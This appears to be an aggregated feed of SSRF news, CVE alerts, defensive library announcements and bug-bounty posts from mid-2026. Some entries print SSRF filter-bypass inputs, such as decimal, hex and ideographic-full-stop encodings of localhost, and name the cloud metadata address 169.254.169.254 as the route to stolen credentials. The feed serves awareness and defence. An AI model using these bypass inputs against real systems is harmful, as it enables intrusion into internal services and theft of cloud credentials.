| 2026-06-24 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-53755 - #SSRF in #Crawl4ai #Docker API. Proxy bypass allows access to internal services & cloud metadata. #CVSS 8.6. No patch available. Disable Docker #API or restrict #network access immediately. #CVEAlert #infosec @Docker #devsecops #devops #sysadmin #k8s more: news | Hugo | DevOps | Cybersecurity 🇱🇻: #CVE-2026-53755 - #SSRF in #Crawl4ai #Docker API. Proxy bypass allows access to internal services & cloud metadata. #CVSS 8.6. No patch available. Disable Docker #API... |
| 2026-06-24 2026 | Critical Cisco Unified CM and SME Flaw Enables Remote Attacker to Launch SSRF Attacks news | Critical Cisco Unified CM and SME Flaw Enables Remote Attacker to Launch SSRF Attacks https://ift.tt/S7RnOo5 → cybersecuritynews.com |
| 2026-06-24 2026 | Critical Cisco Unified Communications Manager SSRF Flaw Lets Attackers Elevate to Root news | A critical Server-Side Request Forgery (SSRF) vulnerability has been discovered in Cisco Unified Communications Manager (CUCM). This flaw allows unauthenticated remote attackers to elevate their privileges to root access on affected systems. The vulnerability can be exploited by sending specially crafted requests, potentially leading to complete system compromise. Users are advised to consult Cisco's security advisories for the latest information on affected versions and mitigation strategies. → cyberpress.org |
| 2026-06-23 2026 | The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration advanced 14 min read | Library detailing a universal bucket hijacking technique that impacts multiple cloud service providers (CSPs) like Google Cloud, AWS, and Azure. This method exploits the global namespace risk of cloud storage bucket names, allowing attackers to delete an organization's bucket and recreate it under their own account, thereby rerouting critical logs and sensitive data exfiltration. The library covers the attack flow, including simulations with Google Cloud Logging, Pub/Sub, and Storage Transfer Service, and the necessary permissions for exploitation. → unit42.paloaltonetworks.com |
| 2026-06-21 2026 | Preventing server-side request forgery in Node.js applications beginner 7 min read | Tool for preventing server-side request forgery (SSRF) in Node.js applications, detailing how attackers exploit input tampering and URL manipulation to make unintended server requests. It covers basic and blind SSRF types, referencing a significant Amazon breach. Mitigation strategies include using updated libraries, employing firewalls, sanitizing user input, enforcing URL schemas like HTTP/HTTPS, and creating allowlists for trusted domains, exemplified by code adjustments in an Express and Axios application. → snyk.io |
| 2026-06-20 2026 | Arookiech: For the rest of the month I'll keep learning and focusing on the specific attack syntax till I know every bypass and every method to carry it out. #ssrf #bugbounty Then maybe I'll be able to build my own tool to automate it properly Thank you Jesus again and again intermediate | Arookiech is dedicating the rest of the month to mastering SSRF attack syntax, including bypasses and execution methods. Their goal is to gain such proficiency that they can develop their own tool for automating these attacks. This focus is part of their bug bounty efforts. |
| 2026-06-19 2026 | Microsoft AntiSSRF Library Blocks Server-Side Request Forgery intermediate 2 min read | Library that validates URLs and network connections for .NET and Node.js applications, mitigating server-side request forgery (SSRF) risks. AntiSSRF acts as a drop-in component, checking untrusted input against policies that can define allowed/denied addresses, block plain-text HTTP, and enforce header requirements, preventing data leakage, service disruption, and remote code execution. |
| 2026-06-18 2026 | The Red Agent POV: How it Reasoned its Way to SSRF advanced 7 min read | Library that details a multi-step SSRF exploit against a GCP Cloud Run service. The exploit chains a GitHub URL validation bypass with a double-slash absolute path technique to read sensitive files like `/proc/self/environ` and application source code. The underlying methodology involves iterative attack strategy execution and reflection, focusing on path traversal and URL confusion techniques before the breakthrough bypass. → wiz.io |
| 2026-06-17 2026 | Help Net Security: Microsoft AntiSSRF open-source library helps block server-side request forgery - - @msftsecurity #CyberSecurity #SSRF #AppSec #Microsoft #OpenSource beginner | Microsoft has released AntiSSRF, an open-source library designed to help developers prevent server-side request forgery (SSRF) vulnerabilities in their applications. SSRF attacks occur when an attacker can trick a server into making requests to unintended locations, potentially leading to unauthorized access or data breaches. This new library aims to provide a straightforward solution for developers to identify and mitigate such risks, enhancing application security. |
| 2026-06-17 2026 | Promise queues and batching concurrent tasks in Deno intermediate 12 min read | Library for managing concurrent tasks in Deno, improving efficiency and robustness through promise queues and task batching. It utilizes `Promise.allSettled()` to execute multiple HTTP fetch requests concurrently, demonstrated by fetching package data from the npm registry JSON endpoint, and offers a GitHub repository for complete source-code reference. → snyk.io |
| 2026-06-17 2026 | Microsoft AntiSSRF open-source library helps block server-side request forgery beginner 2 min read | Library that blocks server-side request forgery (SSRF) by validating URLs and network connections for .NET and Node.js applications. Microsoft AntiSSRF acts as a drop-in component to scrutinize untrusted input before outbound requests, preventing attackers from manipulating servers into connecting to internal networks or exposing sensitive data. It allows developers to configure allowed/denied addresses, specify HTTP/HTTPS behavior, and set required/denied headers, with URIValidator components for domain checks against Azure Key Vault and Storage. → helpnetsecurity.com |
| 2026-06-16 2026 | Oracle PeopleSoft Zero-Day Exploited in 100 Breaches: Council of Europe Deadline Falls Today news 8 min read | Writeup on CVE-2026-35273, a critical SSRF vulnerability in Oracle PeopleSoft's PSEMHUB component. This zero-day, exploited by ShinyHunters via a gadget chain, allows unauthenticated remote code execution and has affected over 100 organizations, including higher education and government bodies. Affected versions include PeopleTools 8.61 and 8.62. Mitigation involves disabling the Environment Management Hub or removing PSEMHUB, with Oracle urging immediate action as no patch is yet available. → techtimes.com |
| 2026-06-16 2026 | xHackInSeconds: URL field accepted internal addresses. 169.254.169.254. IAM role credentials in the response. Full S3 and RDS access. #infosec #cloud #ssrf intermediate | xHackInSeconds reported a Server-Side Request Forgery (SSRF) vulnerability where a URL field accepted internal IP addresses, including the EC2 metadata service IP (169.254.169.254). This allowed attackers to retrieve IAM role credentials, granting them full access to S3 and RDS resources. The report highlights a critical security flaw in cloud environments. |
| 2026-06-15 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-47260 - #SSRF in Koel music streaming prior to 9.3.5 Episode enclosure URLs bypass validation allowing server-side request forgery #CVSS 7.7 #infosec #cybersecurity #pentesting #pentesters #CVEAlert #100daysofcybersecurity Detailed info: news | CVE-2026-47260 is a Server-Side Request Forgery (SSRF) vulnerability found in Koel music streaming versions prior to 9.3.5. The vulnerability stems from bypassed validation in episode enclosure URLs, enabling attackers to perform SSRF attacks. This critical issue has a CVSS score of 7.7. |
| 2026-06-15 2026 | Spring Boot 4.1 Adds gRPC Auto-Configuration SSRF Mitigation and Kotlin 2.3 Support news 3 min read | Library provides gRPC auto-configuration for server and client applications, enabling centralized exception handling and custom observation intercepts. It introduces HTTP client SSRF mitigation through an InetAddressFilter, blocking outbound requests to specified address ranges. The update also enhances Kotlin baseline to 2.3, supports lazy datasource connections, propagates @Async context automatically, and improves OpenTelemetry integration with OTLP exemplars and SSL bundle support. Additional features include asynchronous Spring Data JPA bootstrap and configurable Jackson property behavior. → infoq.com |
| 2026-06-15 2026 | Spring Boot 4.1 Adds gRPC Auto-Configuration SSRF Mitigation news 3 min read | Library update Spring Boot 4.1 introduces gRPC auto-configuration for both server and client, alongside HTTP-client SSRF mitigation via an `InetAddressFilter` for enhanced security. It also upgrades Kotlin to 2.3, adds lazy datasource connections for faster startup, and improves OpenTelemetry support. Dependency updates include Micrometer 1.17, Reactor 2025.0.6, and gRPC Java 1.80.0. |
| 2026-06-15 2026 | How to Mitigate SSRF Vulnerabilities in Go intermediate 3 min read | Technique for mitigating SSRF vulnerabilities in Go, focusing on URL parsing and validation, and restricting outbound requests to trusted hosts. It highlights the importance of validating `tenantID` and `fileID` parameters and employing allowlists for destination domains. The resource also mentions leveraging Snyk Code for static analysis to identify and fix such vulnerabilities early in the development process. → snyk.io |
| 2026-06-14 2026 | IMDS Abused: Hunting Rare Behaviors to Uncover Exploits intermediate 10 min read Recon | Library for detecting anomalous Instance Metadata Service (IMDS) usage, aiding in the hunt for cloud exploits. This approach led to the discovery of a zero-day SSRF vulnerability in pandoc (CVE-2025-51591), leveraged through an <iframe> tag to target sensitive IMDS endpoints like `/latest/meta-data/iam/info`. It prioritizes rare IMDS access patterns from unexpected processes and focuses on suspicious metadata paths. → wiz.io |
| 2026-06-12 2026 | Building Another Vulnerable Lab — SSRF. beginner | This blog post is a follow-up to a previous one, detailing how to build a Server-Side Request Forgery (SSRF) lab. The author will guide readers through setting up this vulnerable environment, which will be added to their GitHub repository. The post begins by defining SSRF as a vulnerability where an attacker can cause a server to make unintended requests. → infosecwriteups.com |
| 2026-06-11 2026 | Pre-auth XXE → HTTP SSRF on ArubaOS 8.13.2 closed as "theoretical / no valid PoC" despite TCP pcap, sshd localhost log, and internal port scan — documenting for community review advanced 2 min read XXE | Writeup documenting a pre-authentication XXE to OOB SSRF vulnerability in ArubaOS 8.13.2.0 LSR. The exploit allows external HTTP connections, internal network enumeration by proxying probes to internal services, and external DTD resolution. Despite providing packet captures, daemon logs confirming server-side execution, and internal port scan results, the finding was closed as theoretical by HPE. This entry details the vulnerability, evidence, and timeline for community review. |
| 2026-06-10 2026 | TechEarl: Cloud metadata SSRF: how one vulnerable URL fetcher reaching the instance metadata endpoint escalates to full cloud account compromise. #CloudSecurity #SSRF intermediate | This article by TechEarl details a vulnerability where a Server-Side Request Forgery (SSRF) in a URL fetcher can lead to the compromise of an entire cloud account. By exploiting a vulnerable URL fetcher that can access the instance metadata endpoint, an attacker can gain unauthorized access to sensitive cloud credentials. This highlights a critical security flaw in cloud environments that allows for escalation from a simple request forgery to full account takeover. |
| 2026-06-09 2026 | C0deRevenant: Turned a McDonald's meme into a Bounty A chatbot that shouldn't have done what it did. SSTI SSRF. Two programs. Two payouts. Full story here : #BugBounty #SSTI #SSRF #InfoSec #HappyHacking intermediate | C0deRevenant discovered vulnerabilities in a McDonald's meme-themed chatbot, leading to two successful bug bounty payouts. The identified issues were Server-Side Template Injection (SSTI) and Server-Side Request Forgery (SSRF). These vulnerabilities allowed the chatbot to perform actions it was not intended to. |
| 2026-06-08 2026 | AI Security Guard: Server-Side Request Forgery: What It Is & How To Fix It beginner | AI Security Guard: Server-Side Request Forgery: What It Is & How To Fix It https://ift.tt/cSCjzlL |
| 2026-06-08 2026 | Precious Isiani: Day 20 #VACyberMentorship Learned SSRF set up my first cybersecurity lab on my machine. Now I can safely practice real attack scenarios hands-on. #Cybersecurity #SSRF beginner | On Day 20 of #VACyberMentorship, Precious Isiani learned about Server-Side Request Forgery (SSRF) and successfully set up a personal cybersecurity lab. This allows for safe, hands-on practice of real attack scenarios. |
| 2026-06-08 2026 | Cisco Unified Communications Manager Server-Side Request Forgery Vulnerability (CVE-2026-20230) news 1 min read | Writeup of CVE-2026-20230, a critical Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) vulnerability. This server-side request forgery (SSRF) flaw, caused by improper input validation for HTTP requests, allows unauthenticated, remote attackers to write files to the underlying operating system, potentially leading to root privilege escalation. Exploitation requires the WebDialer service to be enabled, which is disabled by default. → systemtek.co.uk |
| 2026-06-08 2026 | Update: The Ending of My $500 Loss and Web Cache Poisoning Story. intermediate | The author recounts a personal experience where a $500 loss prompted them to revisit a previously discovered Web Cache Poisoning vulnerability. The initial discovery was documented but later forgotten. This unexpected financial setback led the author back to investigate the bug further, with the aim of resolving outstanding questions and understanding the implications of the vulnerability, ultimately turning a loss into a learning opportunity. → infosecwriteups.com |
| 2026-06-06 2026 | Merge News: Cisco warns of a critical SSRF vulnerability (CVE-2026-20230) in Unified CM. Unauthenticated attackers can write files via WebDialer risking remote #cisco #vulnerability #ssrf #remotecodeexecution news | Cisco has issued a warning about a critical SSRF vulnerability (CVE-2026-20230) in its Unified CM software. Unauthenticated attackers can exploit this flaw through the WebDialer feature to write files, potentially leading to remote code execution. This vulnerability poses a significant security risk, allowing unauthorized access and control over affected systems. |
| 2026-06-06 2026 | ThreadLinqs: NEW THREAT INTEL: Cisco Unified CM WebDialer SSRF (CVE-2026-20230) - unauth flaw chains to file write for root. Public PoC. #ThreatIntel #Cisco #SSRF news | A critical vulnerability in Cisco Unified CM WebDialer (CVE-2026-20230) allows unauthenticated attackers to achieve root-level file writes. This is accomplished by chaining a Server-Side Request Forgery (SSRF) flaw, enabling attackers to write arbitrary files to the system. A public Proof-of-Concept (PoC) is available, highlighting the immediate threat to Cisco Unified Communications Manager deployments. |
| 2026-06-06 2026 | Hi: callback services like pingback are criminally underrated. the gap between "suspicious behavior in a black box" and "here's the TCP transcript source IP and timing" is literally the difference between a triaged $4k report and a dup-closed nothing-burger. #bugbounty #SSRF intermediate | Callback services like pingback are crucial but often overlooked in bug bounty hunting. Demonstrating suspicious behavior with detailed evidence, such as TCP transcripts, source IP, and timing, is the key differentiator between a valuable, triaged report and a dismissed one. This level of detail can turn a potential "nothing-burger" into a significant bounty, with the example given highlighting a $4k payout for such a well-supported finding related to SSRF vulnerabilities. |
| 2026-06-06 2026 | Thinkkun: SSRF turns your server into an attacker's proxy. One URL preview feature = stolen AWS credentials in 2 requests. Blocklisting IPs fails -- 0x7f000001 2130706433 and [::1] all hit localhost. Use allowlists. #Pentesting #SSRF #Websecurity #Security #Linux intermediate | Thinkkun's URL preview feature suffers from a critical Server-Side Request Forgery (SSRF) vulnerability. This flaw allows attackers to leverage the server as a proxy, potentially leading to the theft of AWS credentials in just two requests. Traditional IP blocklisting methods are ineffective as attackers can bypass them by targeting localhost using various representations like `0x7f000001`, `2130706433`, and `[::1]`. The recommended mitigation is to implement allowlists instead of blocklists to prevent unauthorized server requests. |
| 2026-06-05 2026 | CVE-2026-20230: Cisco Unified CM WebDialer SSRF Can Lead to Root-Level Compromise news 4 min read | Writeup of CVE-2026-20230, a critical SSRF vulnerability in Cisco Unified CM and SME, enabling root-level compromise through arbitrary file writes. Exploitation requires the WebDialer service to be enabled, though it is disabled by default. Public Proof-of-Concept exploit code exists, making patching or disabling WebDialer the recommended immediate actions. Targeted monitoring for SSRF and post-exploitation signals can also aid defenders. → socradar.io |
| 2026-06-04 2026 | Doyensec: A #security update for #safeurl addressing an #SSRF bypass in non-default configs affecting those with IPv6 support enabled. A fix was released within 12 hours of report. Upgrade to version 0.2.4: Thanks to @tonghuaroot for the report! #doyensec news | Doyensec has released a security update (version 0.2.4) for safeurl to address an SSRF bypass vulnerability. This bypass affects non-default configurations, specifically for users with IPv6 support enabled. A fix was deployed within approximately 12 hours of the vulnerability being reported by @tonghuaroot. Users are advised to upgrade to the latest version. No bug bounty payout amount was specified. |
| 2026-06-04 2026 | Cisco Unified CM SSRF Flaw CVE-2026-20230: Public Exploit Code Opens Path to Root news 7 min read | Tool analysis of CVE-2026-20230, a critical Server-Side Request Forgery vulnerability in Cisco Unified Communications Manager's WebDialer Web Service. This flaw, CWE-918, allows arbitrary file writes and privilege escalation to root without authentication, with public exploit code now available. Mitigation involves disabling the WebDialer service or upgrading to patched versions (14SU6 or interim COP for 15SU5). → techtimes.com |
| 2026-06-04 2026 | PoC Exploit Released for Cisco Unified Communications Manager Security Vulnerability news | A Proof-of-Concept (PoC) exploit has been released for a security vulnerability affecting Cisco Unified Communications Manager (CUCM). This vulnerability, detailed in a Cisco security advisory, allows attackers to potentially gain unauthorized access or disrupt services. The release of the PoC means that exploits are now publicly available, increasing the risk for organizations using vulnerable CUCM versions. It is crucial for users to apply the necessary patches and updates provided by Cisco to mitigate this threat. → gbhackers.com |
| 2026-06-04 2026 | Critical Cisco Unified CM Bug Patched as Public Exploit Code Emerges news 1 min read | Advisory for CVE-2026-20230 details a critical vulnerability in Cisco Unified CM and Unified CM SME. Improper HTTP request validation allows unauthenticated remote attackers to perform SSRF attacks, potentially writing files to the OS for root privilege escalation. While public exploit code exists, exploitation requires the WebDialer service to be enabled, which is disabled by default. Mitigation involves disabling the WebDialer service until a patch is applied. → securityaffairs.com |
| 2026-06-04 2026 | Cisco Unified Communications Manager Vulnerability Exposed Along With PoC Exploit Code news | Cisco Unified Communications Manager (CUCM) has a critical vulnerability that has been publicly disclosed. Researchers have released Proof of Concept (PoC) exploit code for this vulnerability, meaning attackers can readily use it to compromise affected systems. This vulnerability poses a significant risk to organizations relying on CUCM for their communication infrastructure. Further details about the specific nature and impact of the exploit are expected to emerge. → cybersecuritynews.com |
| 2026-06-04 2026 | Cisco Warns of Available PoC for Critical Unified CM Vulnerability news 2 min read | Advisory regarding CVE-2026-20230, a critical server-side request forgery (SSRF) vulnerability in Cisco Unified Communications Manager (Unified CM) and Unified CM SME. This flaw, with a CVSS score of 8.6, allows attackers to write files to the operating system, potentially leading to root privilege escalation. Proof-of-concept code is publicly available, though Cisco is unaware of active exploitation. The vulnerability impacts appliances with the WebDialer service enabled. Patches are available in Unified CM and Unified CM SME version 14SU6, with version 15SU5 expected in September. → securityweek.com |
| 2026-06-04 2026 | Gray Hats: A critical Cisco Unified CM vulnerability is exposed. This public PoC code disclosure highlights a severe SSRF risk in WebDialer. #Cisco #SSRF #CVE202620230 #WebDialer #Cybersecurity #PoC intermediate | A critical vulnerability in Cisco Unified Communications Manager (CM) has been publicly disclosed, featuring proof-of-concept (PoC) code. This exposes a severe Server-Side Request Forgery (SSRF) risk within the WebDialer component, identified by CVE-202620230. The disclosure, originating from Gray Hats, highlights a significant cybersecurity threat for Cisco users utilizing this feature. |
| 2026-06-03 2026 | How an Unauthenticated MCP Server Led to SSRF LFI and AWS Credential Theft intermediate 13 min read | Writeup of a real-world attack chaining Server-Side Request Forgery (SSRF), Local File Inclusion (LFI), and AWS credential theft via an unauthenticated Model Context Protocol (MCP) server. This finding highlights the rapid adoption of MCP for AI integrations, outpacing security maturity and leaving systems vulnerable to exploitation, as demonstrated by the theft of live AWS IAM credentials and database secrets from a customer environment. → cloudsek.com |
| 2026-06-02 2026 | How an Unauthenticated MCP Server Led to SSRF LFI and AWS Credential Theft intermediate 13 min read | Library for discovering and analyzing security risks in AI integrations. It highlights vulnerabilities in Model Context Protocol (MCP) servers, such as Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI), demonstrated by a real-world case study where an unauthenticated MCP server led to AWS credential theft. The library addresses the growing attack surface created by rapid AI adoption and the security maturity gap in new AI-native technologies. → cloudsek.com |
| 2026-06-02 2026 | xHackInSeconds: URL field accepted internal addresses. 169.254.169.254. IAM role credentials in the response. Full S3 and RDS access. #infosec #cloud #ssrf intermediate | xF HackInSeconds discovered a vulnerability where a URL field accepted internal IP addresses, including the metadata service address 169.254.169.254. This allowed attackers to retrieve IAM role credentials from the response. With these credentials, they gained full access to S3 buckets and RDS instances. This highlights a critical Server-Side Request Forgery (SSRF) flaw in cloud environments. |
| 2026-06-02 2026 | Hi: that NASA XXE chain is filthy. multiline DOCTYPE bypass SSRF chaining to get AWS metadata is exactly the kind of creative attack chain that gets $50k bounties. insane find honestly #WebSecurity #SSRF advanced | A researcher discovered a "filthy" XXE (XML External Entity) chain attack against NASA. This sophisticated attack involves a multiline DOCTYPE bypass to achieve SSRF (Server-Side Request Forgery), ultimately enabling the retrieval of AWS metadata. This type of creative attack chain is highly valued in bug bounty programs, with potential payouts exceeding $50,000. The find is described as "insane" and highlights advancements in web security exploitation. |
| 2026-06-02 2026 | Gray Hats: A critical Apache Fesod SSRF vulnerability has been found. Learn about the CVE-2026-49328 patch released to protect internal network resources. #ApacheFesod #SSRF #CVE202649328 #JavaSecurity #Cybersecurity news | A critical Server-Side Request Forgery (SSRF) vulnerability, identified as CVE-2026-49328, has been discovered in Apache Fesod. A patch has been released to address this security flaw, which could have allowed attackers to access internal network resources. The vulnerability highlights ongoing concerns within Java security and the broader cybersecurity landscape. |
| 2026-06-01 2026 | TechEarl: SSRF makes a server fetch what the attacker chooses; in the cloud that means 169.254.169.254 leaking credentials. Why allowlists beat blocklists plus IMDSv2. #SSRF #WebSecurity techearl.com/server-side-req intermediate | Server-Side Request Forgery (SSRF) allows attackers to force servers to fetch arbitrary data. In cloud environments, this vulnerability can expose sensitive credentials by targeting the Instance Metadata Service (IMDS) at `169.254.169.254`. The article highlights the superiority of allowlists over blocklists for security and mentions the importance of Instance Metadata Service Version 2 (IMDSv2) in mitigating such risks. |
| 2026-05-27 2026 | AI Security Guard: Server-Side Request Forgery: What It Is & How To Fix It beginner | This article from AI Security Guard explains Server-Side Request Forgery (SSRF). SSRF is a vulnerability where an attacker can trick a server into making requests to unintended locations, potentially accessing internal resources or external services. The article likely details how SSRF attacks work, their potential impact, and provides guidance on how to prevent and mitigate these vulnerabilities. It is presented as a guide to understanding and securing against SSRF. No bounty payout amount is mentioned. |
| 2026-05-27 2026 | AI Security Guard: Server-Side Request Forgery: What It Is & How To Fix It beginner | Server-Side Request Forgery (SSRF) is a vulnerability where an attacker can trick a server into making unintended requests to internal or external resources. This can lead to data breaches, unauthorized access, and even remote code execution. The article explains SSRF and outlines methods to prevent it, focusing on proper input validation, network segmentation, and disallowing direct access to sensitive internal systems. It emphasizes treating all user-supplied input as untrusted. No bug bounty payout amount is mentioned. |
| 2026-05-27 2026 | 0xk4rim: WAF bypass via IP décimale (DWORD) comment 127.0.0.1 devient 2130706433 et contourne les filtres naïfs. #BugBounty #SSRF #WebSecurity @yeswehack @Hacker0x01 @Bugcrowd intermediate | This content describes a Web Application Firewall (WAF) bypass technique discovered by 0xk4rim. The method involves converting an IP address, specifically localhost (127.0.0.1), into its decimal (DWORD) equivalent, 2130706433. This decimal representation circumvents naive WAF filters that may not properly validate or process IP addresses in this format. The technique is relevant to Bug Bounty hunting, SSRF vulnerabilities, and general web security. |
| 2026-05-27 2026 | Vulert: CVE-2026-45568: Critical SSRF risk in zrok Python ProxyShare. Attackers may abuse the flaw to send unauthorized requests to internal systems or protected backend resources. #CVE #SSRF #zrok #CyberSecurity #Vulert news | A critical Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-45568, has been identified in zrok Python ProxyShare. This flaw allows attackers to send unauthorized requests to internal systems or protected backend resources. |
| 2026-05-27 2026 | Mahmoud BARRY ( Docteur JS): Day #11 of #100DaysOfCyber | Exploitation d'un #SSRF Avant hier on a vu la théorie derrière le SSRF (Server-Side Request Forgery). Aujourd'hui place au lab pratique de PortSwigger pour voir comment ça se passe concrètement dans Burp Suite. Le scénario : L'application propose intermediate | Mahmoud BARRY ( Docteur JS👨💻): Day #11 of #100DaysOfCyber | Exploitation d'un #SSRF Avant hier, on a vu la théorie derrière le SSRF (Server-Side Request Forgery). Aujourd'hui, place au lab pratique d... |
| 2026-05-26 2026 | SNI proxy SSRF vulnerabilities: Misconfigurations exploitation and defense intermediate | This article discusses Server-Side Request Forgery (SSRF) vulnerabilities specifically in SNI proxies. It details how misconfigurations in these proxies can be exploited, leading to SSRF attacks. The content also covers methods for defending against these vulnerabilities. The provided link offers further insights into this technical security topic. No specific bounty amounts are mentioned. → securityboulevard.com |
| 2026-05-24 2026 | Mahmoud BARRY ( Docteur JS): Day #9 of #100DaysOfCyber | Le Concept du Jour : Le #SSRF Hier lors du Day 8 on a parlé de WAF et de Rate Limiting pour sécuriser notre infrastructure et nos applications. Sauf que les attaquants vont toujours chercher des techniques pour contourner ces barrières. L'une de beginner | This post, Day 9 of #100DaysOfCyber by Mahmoud BARRY, introduces the concept of Server-Side Request Forgery (SSRF). It follows a discussion on Web Application Firewalls (WAF) and Rate Limiting from Day 8. The author notes that attackers continuously seek methods to bypass security measures, highlighting SSRF as one such technique. The summary focuses on the core topic of SSRF and its relation to bypassing security controls. No bounty amount is mentioned. |
| 2026-05-24 2026 | Vishal Vishwakarma: Day 11 / 30 SSRF DORKS PAYLOADS First payload should always be Collaborator. Confirm DNS hit then chase metadata. #bugbountytips #ssrf #bugbounty #cybersecurity #infosec intermediate | This entry from Vishal Vishwakarma's 30-day bug bounty challenge focuses on Server-Side Request Forgery (SSRF) techniques. The core advice for day 11 is to prioritize using a Collaborator payload first to confirm a DNS hit. Once confirmed, the next step is to attempt to retrieve metadata. This strategy aims to efficiently identify and exploit SSRF vulnerabilities. |
| 2026-05-24 2026 | Gray Hats: A critical Angular hostname hijacking vulnerability allows SSRF attacks. Discover the impact on platform-server and how to patch your apps. #Angular #SSRF #WebSecurity #Vulnerability #AppSec intermediate | A critical vulnerability in Angular allows for hostname hijacking, enabling Server-Side Request Forgery (SSRF) attacks. This impacts the platform-server component, posing a significant web security risk. Developers are advised to understand the full implications and apply necessary patches to their applications. The content highlights the importance of addressing this vulnerability to prevent potential exploitation and maintain application security. |
| 2026-05-23 2026 | xHackInSeconds: URL field accepted internal addresses. 169.254.169.254. IAM role credentials in the response. Full S3 and RDS access. #infosec #cloud #ssrf intermediate | A vulnerability was discovered where a URL field accepted internal addresses, specifically `169.254.169.254`. This allowed for Server-Side Request Forgery (SSRF), leading to the exposure of IAM role credentials. Consequently, attackers gained full access to S3 buckets and RDS instances. The report highlights a critical security flaw in cloud environments related to SSRF. |
| 2026-05-23 2026 | Afzal .: They don't attack the firewall directly. They trick your own server into doing it for them. Let's talk about Server-Side Request Forgery (SSRF) and why it's a critical vulnerability in modern web apps. #BugBounty #SSRF #CyberSecurity #InfoSec #InfosecTwitter #WebSecurity beginner | Server-Side Request Forgery (SSRF) is a critical vulnerability in modern web applications. Instead of directly attacking a firewall, attackers exploit SSRF by tricking the application's own server into making requests on their behalf. This allows them to access internal systems or cloud metadata that would otherwise be inaccessible. Understanding and mitigating SSRF is crucial for robust web security. |
| 2026-05-22 2026 | Mr Binu: Can anyone share their SSRF hunting methodology? Like how you approach recon identify potential sinks detect SSRF and test bypasses Trying to level up my SSRF game would love to learn from other hunters #bugbounty #ssrf #cybersecurity intermediate | A cybersecurity researcher, Mr. Binu, is seeking insights into effective Server-Side Request Forgery (SSRF) hunting methodologies from fellow bug bounty hunters. They are looking for guidance on reconnaissance, identifying potential vulnerable endpoints (sinks), detection techniques, and bypass strategies. Mr. Binu aims to enhance their SSRF exploit skills by learning from the community's experiences. |
| 2026-05-18 2026 | CCB Alert: Warning: Critical vulnerability in #Node.js server CVE-2026-44578 CVSS: 8.6. When using the built-in server server-side request forgery #SSRF is possible causing the server to proxy any requests to in- or external destinations. More info: #Patch #Patch news | A critical vulnerability, CVE-2026-44578 (CVSS 8.6), has been identified in Node.js's built-in server. This Server-Side Request Forgery (SSRF) flaw allows attackers to make the server proxy requests to any internal or external destination. Users are advised to patch their Node.js installations to mitigate this risk. |
| 2026-05-18 2026 | Gray Hats: Critical SSRF vulnerability CVE-2026-44578 impacts self-hosted Next.js applications. Upgrade to version 15.5.16 or 16.2.5 immediately to block the exploit. #NextJS #SSRF #CVE202644578 #WebSecurity2026 #NodeJS #DevSecOps #AppSec news | A critical Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-44578, has been discovered affecting self-hosted Next.js applications. This vulnerability poses a significant security risk and can be exploited. Developers are urged to immediately upgrade their Next.js installations to either version 15.5.16 or 16.2.5 to patch this critical flaw and prevent potential exploitation. |
| 2026-05-17 2026 | CiberInteligencia Chile: NEXT.JS CRÍTICO: CVE-2026-44578 (SSRF) Falla en WebSocket robo de credenciales cloud API keys y acceso a paneles internos Afecta self-hosted. Actualiza para evitar explotación #Nextjs #SSRF #CVE #Ciberseguridad news | CiberInteligencia Chile: 🚨 NEXT.JS CRÍTICO: CVE-2026-44578 (SSRF) 🔓 Falla en WebSocket → robo de credenciales cloud, API keys y acceso a paneles internos ⚠️ Afecta self-hosted. Actualiza para evitar e... |
| 2026-05-17 2026 | xHackInSeconds: URL field accepted internal addresses. 169.254.169.254. IAM role credentials in the response. Full S3 and RDS access. #infosec #cloud #ssrf news | xHackInSeconds discovered a critical vulnerability where a URL field accepted internal IP addresses, specifically 169.254.169.254. This allowed for Server-Side Request Forgery (SSRF) attacks. The vulnerability led to the exposure of IAM role credentials within the response, granting attackers full access to S3 buckets and RDS instances. The specific payout amount for this bug bounty was not stated. |
| 2026-05-17 2026 | White Rabbitx : CVE-2026-7221 A vulnerability in TencentCloudBase CloudBaseMCP up to 2.17.0 affects openUrl; manipulating req.body.url can lead to remote SSRF. #CVE-2026-7221 #CloudBaseMCP #SSRF #Vulnerability #CWE918 nvd.nist.gov/vuln/detail/CVE news | A vulnerability, CVE-2026-7221, has been identified in TencentCloudBase CloudBase-MCP versions up to 2.17.0. The issue, related to the `openUrl` function, allows for remote Server-Side Request Forgery (SSRF) by manipulating the `req.body.url`. This could enable attackers to make unauthorized requests on behalf of the server. |
| 2026-05-15 2026 | Rasputin.DZ: got my first "exceptional technical depth" on a duplicate report half compliment half punishment. building my way up one dupe at a time. The grind continues. #bugbounty #infosec #SSRF #OWASP #WebAppSec #APIsecurity #CloudSecurity #GCP beginner | Rasputin.DZ received their first "exceptional technical depth" rating on a duplicate bug bounty report, viewing it as both a compliment and a setback. They are focusing on building their experience through these reports, emphasizing the ongoing "grind" in the bug bounty and infosec space. The report involved an SSRF vulnerability and touched upon web application security, API security, and cloud security on GCP. |
| 2026-05-15 2026 | Critical Next.js Vulnerability Exposes Cloud Credentials API keys and Admin Panels news 1 min read | Library update for Next.js versions 15.5.16 and 16.2.5 addresses CVE-2026-44578, a critical Server-Side Request Forgery (SSRF) vulnerability. This flaw, disclosed as GHSA-c4j6-fc7j-m34r, allows attackers to exploit WebSocket upgrade requests to exfiltrate cloud credentials, harvest API keys, and access internal admin panels by routing malicious requests through the vulnerable Node.js server. Security patches implement stricter checks on WebSocket handling, and organizations are advised to upgrade, implement network-level protections, or block unused WebSocket upgrade requests. → cybersecuritynews.com |
| 2026-05-13 2026 | BRute Logic: Localhost with Ideographic Full Stop (IFS) http://127%E3%80%820%E3%80%820%E3%80%821 http://127%EF%BD%A10%EF%BD%A10%EF%BD%A11 Combining these with the other bypass techniques described below can make all the difference. #SSRF #BugBounty intermediate | BRute Logic: Localhost with Ideographic Full Stop (IFS) http://127%E3%80%820%E3%80%820%E3%80%821 http://127%EF%BD%A10%EF%BD%A10%EF%BD%A11 Combining these with the other bypass techniques described bel... |
